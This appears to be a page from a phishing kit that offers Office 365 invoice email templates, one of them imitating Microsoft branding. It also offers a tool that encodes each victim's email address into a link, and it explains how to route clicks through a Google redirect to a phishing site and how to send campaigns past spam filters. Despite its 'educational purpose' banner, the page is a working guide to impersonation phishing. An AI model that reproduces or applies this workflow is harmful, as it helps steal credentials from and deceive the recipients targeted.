📧 Office 365 Invoice Templates

Production-Ready, Maximum Deliverability, Spam Filter Optimized

⚠️ Educational Purpose Only - Unauthorized use is illegal

O365 Optimized

Maximum compatibility

✓ MSO Compatible ✓ Minimal

Professional invoice with Office 365 specific optimizations and MSO conditional comments.

🔍 Preview
Size: 3.7 KB | Lines: 95

Minimal Clean

Simple & effective

✓ Low Spam Score ✓ Fast Load

Ultra-clean design with minimal code for maximum deliverability and fast loading.

🔍 Preview
Size: 2.4 KB | Lines: 75

Corporate Style

Professional gradient design

✓ Premium Look ✓ Trustworthy

Gradient header with premium corporate styling for high-trust appearance.

🔍 Preview
Size: 4.2 KB | Lines: 102

Microsoft Style

Authentic MS branding

✓ MS Branded ✓ Fluent Design

Mimics official Microsoft invoice style with Segoe UI font and Microsoft colors.

🔍 Preview
Size: 2.7 KB | Lines: 77

Text Only

Ultra-safe delivery

✓ Zero Spam Risk ✓ Plain Text

Bare minimum styling for maximum deliverability through strictest filters.

🔍 Preview
Size: 1.6 KB | Lines: 45

🔧 URL Generator

Create personalized links

⚡ Essential Tool

Generate Base64-encoded URLs for each victim email address automatically.

🚀 Open Generator

✨ Key Features

✅

Office 365 Compatible

Full support for Outlook/O365

🚀

Hardcoded Base Tag

No JavaScript required

🔒

Google Redirect

ipv4.google.com wrapper

📊

Low Spam Score

Optimized for deliverability

🎯 Attack Flow

📧

Victim Receives Email

Professional invoice template

→
🔗

Clicks "View Invoice"

Base tag + encoded URL

→
🌐

Google Redirect

ipv4.google.com wrapper

→
🎯

Phishing Site

Email captured in URL

📖 Usage Instructions

  1. 1
    Choose Template: Select the invoice style that best fits your target environment
  2. 2
    Use URL Generator: Open the URL Generator tool and enter victim's email address
  3. 3
    Replace Placeholder: In template, replace sf_base64_encode([EMail]) with generated Base64 string
  4. 4
    Test First: Always test with your own email before deploying to targets
  5. 5
    Send Campaign: Deploy through your mail server with proper SPF/DKIM configuration